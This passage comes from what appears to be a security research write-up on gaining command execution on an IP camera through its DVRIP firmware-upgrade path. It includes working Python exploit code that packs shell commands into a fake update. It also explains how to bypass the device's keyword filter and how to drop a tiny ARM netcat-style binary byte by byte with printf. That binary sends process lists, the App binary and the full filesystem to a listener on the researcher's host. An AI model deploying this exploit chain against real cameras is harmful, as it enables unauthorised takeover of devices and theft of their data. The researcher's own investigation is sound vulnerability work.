    make_zip("/tmp/update.bin", "/bin/ping -c 5 <YOUR_ROUTER_IP>")
    cam.upgrade("/tmp/update.bin")
    cam.close()

if __name__ == "__main__":
    main()

and indeed, running this causes 5 ICMP pings to show up at the router without even specifying a CRC or Mx8Q value at all! As is, this however does seem to reboot the camera afterwards.

Poking at the App code

If we look at the App binary in a disassembler (e.g. Ghidra) to get a better idea what happens during an upgrade, we can find logging printf calls implying a function called CUpgrader::onUpgrade. Without having done a detailed analysis, it looks like this function has two ways of operating:

  • Shelling out to /usr/bin/upgrader
  • Doing stuff itself

The upgrade part directly in the App binary seems to have code to check the CRC (unless disabled through CheckVersionCRC in InstallDesc) and Mx8Q values, but it does not seem to happen for our shell command payload (or the camera is running an older firmware without the code). Computing the Mx8Q value seems to involve some sort of MD5 hashing.

The App implementation will also skip over shell commands that contain as a substring any of:

  • telnetd
  • sleep
  • /debug

or if they are longer than 100 characters. These restrictions look like attempts to deal with some of the exploitation history around this vendor - but since there are many ways to break strings up in a shell, a substring match like this is entirely pointless as long as you let clients feed anything else they like into a system() call.

Getting some data back

So far, we've only run some pings - a nice way to get an observable side-effect to confirm it's working - but not really anything helping us to get data out. Looking at all available binaries on from the SquashFS images, it sadly looks like we don't have anything interesting to open some sort of connection. We could maybe abuse the built-in web server, but the web root is on a read-only filesystem we'd have to mount a ramfs over to be able to write outputs.

So instead, let's try to ship a binary of our choice over to the camera. While we're limited to 100 bytes per shell command, we can add multiple shell commands which will be run in sequence. In terms of what to run, we want something small that can communicate over the network. Doing some research, I stumbled on sockout which is a minimal ELF binary providing the bare minimum of netcat functionality. So let's take sockconnect and put our IP (192.168.57.1, aka. \xc0\xa8\x39\x01 in network byte order) at the end and combine it with our previous script:

import zipfile
import argparse
import json

from dvrip import DVRIPCam


def make_zip(filename, cmd):
    upgrade_command = []
    if isinstance(cmd, str):
        upgrade_command.append({"Command": "Shell", "Script": cmd})
    else:
        for c in cmd:
        upgrade_command.append({"Command": "Shell", "Script": c})
    data = json.dumps({
        "UpgradeCommand": upgrade_command,
        "Hardware": "IPC_NT98566_85N80_S38",
        "DevID": "000639I21001000000000200",
        "Vendor": "General",
        "CompatibleVersion": 1,
        }, indent=2)
    with zipfile.ZipFile(filename, "w", zipfile.ZIP_DEFLATED) as zipf:
        zipf.writestr("InstallDesc", data)


def main():
    cam = DVRIPCam("<IP of camera>", user="admin", password="")
    if not cam.login():
        print(f"Cannot connect")
        return

    make_zip("/tmp/update.bin", [
        r"printf '\x7f\x45\x4c\x46\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00' > /var/sc",
        r"printf '\x02\x00\x28\x00\x20\x00\x20\x00\x20\x00\x20\x00\x04\x00\x00\x00' >> /var/sc",
        r"printf '\x09\x10\x8f\xe2\x11\xff\x2f\xe1\x34\x00\x20\x00\x01\x00\x00\x00' >> /var/sc",
        r"printf '\x02\x20\x01\x21\x52\x40\xc8\x27\x51\x37\x00\xdf\x04\x1c\x0c\xa1' >> /var/sc",
        r"printf '\x10\x22\x02\x37\x00\xdf\x01\x23\x9b\x02\x69\x46\xc9\x1a\x8d\x46' >> /var/sc",
        r"printf '\x00\x20\x1a\x1c\x03\x27\x00\xdf\x02\x1c\x20\x1c\x04\x27\x00\xdf' >> /var/sc",
        r"printf '\x00\x2a\xf5\xdc\x20\x1c\x06\x27\x00\xdf\x40\x40\x01\x27\x00\xdf' >> /var/sc",
        r"printf '\x02\x00\x11\x5c\xc0\xa8\x39\x01' >> /var/sc",
        'chmod +x /var/sc',
        'ps aux | /var/sc',
    ])
    cam.upgrade("/tmp/update.bin")
    cam.close()

if __name__ == '__main__':
    main()

We can listen for this with nc -l 192.168.57.1 4444 on our router and get:

PID USER       VSZ STAT COMMAND
  1 root      1548 S    linuxrc
  2 root         0 SW   [kthreadd]
  3 root         0 IW<  [rcu_gp]
  4 root         0 IW<  [rcu_par_gp]
  5 root         0 IW   [kworker/0:0-eve]
  6 root         0 IW<  [kworker/0:0H-kb]
  7 root         0 IW   [kworker/u2:0-ev]
  8 root         0 IW<  [mm_percpu_wq]
  9 root         0 SW   [ksoftirqd/0]
 10 root         0 IW   [rcu_preempt]
 11 root         0 IW   [rcu_sched]
 12 root         0 IW   [rcu_bh]
 13 root         0 SW   [kdevtmpfs]
 14 root         0 SW   [rcu_tasks_kthre]
 15 root         0 SW   [oom_reaper]
 16 root         0 IW<  [writeback]
 17 root         0 SW   [kcompactd0]
 18 root         0 IW<  [crypto]
 19 root         0 IW<  [kblockd]
 20 root         0 SW   [watchdogd]
 21 root         0 SW   [irq/52-DAI_INT]
 22 root         0 IW   [kworker/0:1-eve]
 23 root         0 IW<  [rpciod]
 24 root         0 IW<  [kworker/u3:0]
 25 root         0 IW<  [xprtiod]
 26 root         0 SW   [kswapd0]
 27 root         0 IW<  [nfsiod]
 37 root         0 IW   [kworker/u2:1-ev]
 71 root         0 IW   [kworker/0:2-mtd]
 72 root         0 IW<  [kworker/0:1H-kb]
 87 root         0 SWN  [jffs2_gcd_mtd6]
126 root         0 DW   [timer_ist]
131 root         0 DW   [nvt_ddr_proc_ts]
149 root         0 DW   [kdrv_ise_proc_t]
150 root         0 DW   [kdrv_ise_cb_tsk]
288 root         0 DW   [ae_tsk]
289 root         0 DW   [ae_tsk]
292 root         0 DW   [awb_tsk]
293 root         0 DW   [awb_tsk]
296 root         0 DW   [iq_tsk]
297 root         0 DW   [iq_tsk]
309 root     12400 S    XmServices_Mgr /usr/sbin/AppRun.sh /mnt/mtd/Config/
315 root      1544 S    {AppRun.sh} /bin/sh /usr/sbin/AppRun.sh
317 root     89704 S    /usr/bin/App
409 root      1544 S    /bin/sh -c ps | /var/sc
410 root      1548 R    ps
411 root      2188 S    /var/sc

As we can't see /usr/bin/upgrader in this, it indeed looks like we're hitting the upgrade code within the App binary itself. We can also get the App binary from the camera by applying the same trick to run cat /usr/bin/App | /var/sc.

Comparing the md5sum for both the on-camera binary and the one from the firmware update reveals a difference:

  • db5f42a51af844b133ef440519a0513e (camera)
  • 9a40ddf089ffdb5f9565aeb93279d250 (update)

While we're at it, we might as well also just ship over the whole filesystem since we have tar available: tar -c --exclude=proc --exclude=dev --exclude=sys / | /var/sc.